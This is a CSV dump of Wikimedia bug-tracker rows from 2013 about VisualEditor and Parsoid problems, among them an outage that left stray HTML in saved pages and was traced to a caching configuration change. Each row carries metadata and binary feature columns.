+238049,VisualEditor: EventLogging doesn't log user_id so we can't split out user behaviour,Related URL: https://gerrit.wikimedia.org/r/68712 (Gerrit Change Iddb9eb9c64b55b25445ddf9e474d312b685978a6),,,1371233985,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-znkh7fhdepbxk6h3va36,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+238041,VisualEditor: EventLogging doesn't log user_id so we can't split out user behaviour,Related URL: https://gerrit.wikimedia.org/r/68712 (Gerrit Change Iddb9eb9c64b55b25445ddf9e474d312b685978a6),,,1371233983,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-znkh7fhdepbxk6h3va36,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+238030,VisualEditor: EventLogging doesn't log user_id so we can't split out user behaviour,"Coordination card on Trello: https://trello.com/c/xCkMEAY0
+
+Reminder: anonymous editors are excluded from logging (we'll instrument the edit funnel for anons in July in preparation for the global launch).",,,1371233068,,PHID-USER-qb5aoo443n6fezsozhv4,True,,,PHID-TASK-znkh7fhdepbxk6h3va36,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+238023,VisualEditor: EventLogging doesn't log user_id so we can't split out user behaviour,"Needs also https://meta.wikimedia.org/wiki/Schema:Edit to be updated first, of course. :-)",,,1371232172,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-znkh7fhdepbxk6h3va36,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+51577,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"I have edited the page w:cs:Banolo Blahnik and after saving HTML code was left at the page. See this revision: https://cs.wikipedia.org/w/index.php?title=Manolo_Blahnik&oldid=10415532
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Unbreak Now!,100.0,1371213300,1371235366.0,PHID-USER-vm462i2ffbawnuo4mh3n,False,,False,PHID-TASK-m3novk5xasw5lqvg62ye,task_description,resolved,True,c1,2,False,False,True,-3,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+237552,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,*** Bug 50049 has been marked as a duplicate of this bug. ***,,,1372004983,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+237549,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"Yes, <https://bugzilla.wikimedia.org/show_bug.cgi?id=49701>. It is apparently fixed.",,,1371657346,,PHID-USER-vyidforzdhnrsoweujao,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1
+237546,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,Did you open a new bug? If so could you please link it? I have someone with a similar issue.,,,1371652833,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,True,,,-2,,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+237543,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"Ah, sorry, I missed the tag. I think you should; this is certainly something different than what was happening here.",,,1371483619,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,True,,,-2,,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+237536,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,It has the VisualEditor tag and was reported in the feedback page <http://pt.wikipedia.org/w/index.php?title=Wikip%C3%A9dia%3AEditor_Visual%2FComent%C3%A1rios&diff=36129760&oldid=36054006>. Should I open a new bug?,,,1371482523,,PHID-USER-vyidforzdhnrsoweujao,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,1
+237529,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"It's not, this bug had different symptoms, and that edit doesn't even seem to have been made using VE.",,,1371480754,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+237522,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"Not sure if this is related: <https://pt.wikipedia.org/w/index.php?title=CMM_-_Canal_Meninos_e_Meninas&diff=36129698&oldid=36129686>, but that edit was made today.",,,1371477080,,PHID-USER-vyidforzdhnrsoweujao,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1
+237516,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"To update, this bug was in an overly-keen Operations cacheing server configuration change which broke the caches' responses completely (and corrupted every response to not be what we want).
+
+Sorry everyone for the disruption; we've now found (and killed) this problem, and re-enabled VisualEditor as before.",,,1371235366,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,True,,,-3,,1,1,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+237514,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"It looks like an update to the libraries Parsoid depends on might have caused this issue. It would have been visible in the diff, but since the user is not seeing that by default any more few noticed.
+
+Parsoid is rolled back, so this issue should be fixed.",,,1371223781,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,True,,,-3,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+237512,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"**ignatus31oct** wrote:
+
+(One more example from En-wiki) See this edit (if your traffic is easy, the diff is half-Mb):
+
+http://en.wikipedia.org/w/index.php?title=Russian_grammar&diff=559881732&oldid=558109653
+
+I only wanted to change one section, but after pressing a link everything was opened in VE. Well, I added text to different sections. There were no trouble with it, except that when I tried to type text into ''()'' italicised parentheses leaved by previous editor, when I pushed [BackSpace] at end (wrongly started to type in Cyrillic rather than Latin), first ( was doubled.
+
+When I entered enough and pushed ""Save"", I was introduced to type in the desc, and to view changes or to save page. I've just read the digest of how good is the VE now and pushed ""Save page"", but after a time I've seen.........",,,1371221239,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-3,,0,1,0,1,0,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+237510,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"Also note; as you can see from the gerrit change above, it looks like Ariel and James will be temporarily disabling the VE until this is solved for. I'm going to go round and notify people now :)",,,1371221206,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+237507,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,Related URL: https://gerrit.wikimedia.org/r/68667 (Gerrit Change I267c8ba13a6ec1444010ce996fba05dfcba460fa),,,1371221157,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+237504,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,Related URL: https://gerrit.wikimedia.org/r/68667 (Gerrit Change I267c8ba13a6ec1444010ce996fba05dfcba460fa),,,1371221153,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+237499,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"A note; I've just spoken to James F; a fix to this is highest-priority. I'm deeply sorry about this (and think I speak for James and the VE team on that front, too).",,,1371220263,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0
+237494,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"(In reply to comment #3)
+> Issue started ~ 11:37 UTC today per
+> https://en.wikipedia.org/w/index.
+> php?namespace=&tagfilter=visualeditor&title=Special%3ARecentChanges
+
+If that's really accurate *maybe* this has some relevance (posting here in case someone who knows more can do something with it):
+
+Jun 14 11:34:59 cerium puppet-agent[22506]: (/Stage[main]/Role::Cache::Parsoid/Varnish::Instance[parsoid-frontend]/Exec[load-new-vcl-file-frontend]) Triggered 'refresh' from 2 events
+...
+Jun 14 11:34:59 cerium puppet-agent[22506]: (/Stage[main]/Role::Cache::Parsoid/Varnish::Instance[parsoid-backend]/Exec[load-new-vcl-file]) Triggered 'refresh' from 2 events",,,1371219908,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-3,,1,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,1,0,1
+237489,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"Yes, first time I tried the new VisualEditor. My user page is live and I still left the HTML as an example. Tried a few more times to blank page with VE, it is real ugly. HTML leaks on HTML leaks on HTML leaks with each new save, http://www.mediawiki.org/w/index.php?title=User%3AHutchy68&diff=711244&oldid=711236",,,1371219726,,PHID-USER-3qvsqam4jxugqg2l7qpw,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-3,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0
+237483,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,This is occurring fairly widely and I have a lot of reports. Moving it up to highest priority (because frankly something being broken that is already deployed > anything we might /want/ deployed).,,,1371217642,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-3,,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+237474,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,Issue started ~ 11:37 UTC today per https://en.wikipedia.org/w/index.php?namespace=&tagfilter=visualeditor&title=Special%3ARecentChanges,,,1371215939,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+237461,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"More of this:
+
+https://de.wikipedia.org/w/index.php?title=Oper_K%C3%B6ln&curid=2386780&diff=119548868&oldid=118354900
+
+https://test.wikipedia.org/w/index.php?title=User:Raymond/image&diff=174443&oldid=174442",,,1371214660,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0
+237449,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,*** Bug 49573 has been marked as a duplicate of this bug. ***,,,1371214602,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+51403,VisualEditor: En hard-coded as TemplateData fetch language,"Should be user interface language.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Unbreak Now!,100.0,1370893260,1371134692.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-g43ik5bj4ejp7p75b5p4,task_description,resolved,True,c1,2,True,False,True,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+251531,VisualEditor: En hard-coded as TemplateData fetch language,"This is resolved in the latest version
+
+I3bcf924a3e179cb65f19e833277a39dfd3dad8bd",,,1370985573,,PHID-USER-mpfqwllylfkzpcgkdkvc,True,,,PHID-TASK-g43ik5bj4ejp7p75b5p4,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0
+51258,"VisualEditor: Move back to ""normal"" Save dialog with optional rather than mandatory Review","This is to restore the pre-December save workflow (Save dialog triggered, with Show Changes within it).
+
+The ""Review and Save"" button in the toolbar will be replaced with ""Save..."" which takes you straight to the Save dialog (with the existing save box, minor edit, watch and disclaimer/legal)
+
+Inside the Save dialog there should also be a ""Review changes"" button that triggers the wikitext diff as a dismissible dialog; whilst we're here, remove the Parsoid ""Something looks wrong"" button entirely, and replace the ""Looks good to me"" button with a normal close one.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1370535240,1370654365.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-v44oexl4vlksqgaeptjm,task_description,resolved,True,c1,2,True,False,True,-4,,0,1,1,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+242592,"VisualEditor: Move back to ""normal"" Save dialog with optional rather than mandatory Review",Fixed and will go out with wmf7 from next Thursday.,,,1370654365,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-v44oexl4vlksqgaeptjm,task_subcomment,,True,c1,2,True,,,-4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+50769,VisualEditor: Link corruption oddity in production on links (Parsoid issue?),"
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://pl.wikipedia.org/w/index.php?title=Ukryta_sie%C4%87&diff=36500666&oldid=36500549
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50720",Unbreak Now!,100.0,1369387560,1372017998.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-r7nekr4d3omjjmecwwq6,task_description,resolved,True,c1,1,True,False,True,-6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+218104,VisualEditor: Link corruption oddity in production on links (Parsoid issue?),I believe this is now fixed.,,,1372017998,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-r7nekr4d3omjjmecwwq6,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+218095,VisualEditor: Link corruption oddity in production on links (Parsoid issue?),Can't reproduce in master.,,,1369389553,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-r7nekr4d3omjjmecwwq6,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+50526,VisualEditor: Pressing Enter in a heading at the beginning breaks in Firefox,"1. Create a page that has a heading at the very beginning
+2. Open it in VE
+3. Put the cursor at the beginning of the heading and press Enter
+4. An empty heading appears above
+5. Use arrow keys or mouse to move the cursor into this empty heading
+6. See an error in the console
+7. Type into the heading
+8. See one error per key press in the console
+
+In Chrome, this behaves correctly: it creates a paragraph above the heading, and typing into it works correctly.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1368667200,1371602123.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-5refjnnnoyqumq4ge53g,task_description,resolved,True,c1,1,False,False,True,-7,,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+228977,VisualEditor: Pressing Enter in a heading at the beginning breaks in Firefox,This is not an issue anymore.,,,1371602123,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-5refjnnnoyqumq4ge53g,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+50509,VisualEditor: [Regression] Link inspector button doesn't work,"1. Create a link using the link inspector button
+2. Note that autocomplete feature doesn't appear
+3. Hit save and note that link is stored as an external link ""[Foo Foo]""
+
+Using the keyboard shortcut, however, works fine (Ctrl+K)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1368622500,1368638702.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-glwrzzfq4ph2os2n2f6r,task_description,resolved,True,c1,1,True,False,True,-7,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,1,0,1,0,0,1
+228003,VisualEditor: [Regression] Link inspector button doesn't work,Merged into master; will go out with wmf5.,,,1368638702,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-glwrzzfq4ph2os2n2f6r,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+227998,VisualEditor: [Regression] Link inspector button doesn't work,Related URL: https://gerrit.wikimedia.org/r/63850 (Gerrit Change Icda3305e422bedaf0d490b8fbe51f55b8c8e79e8),,,1368626182,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-glwrzzfq4ph2os2n2f6r,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
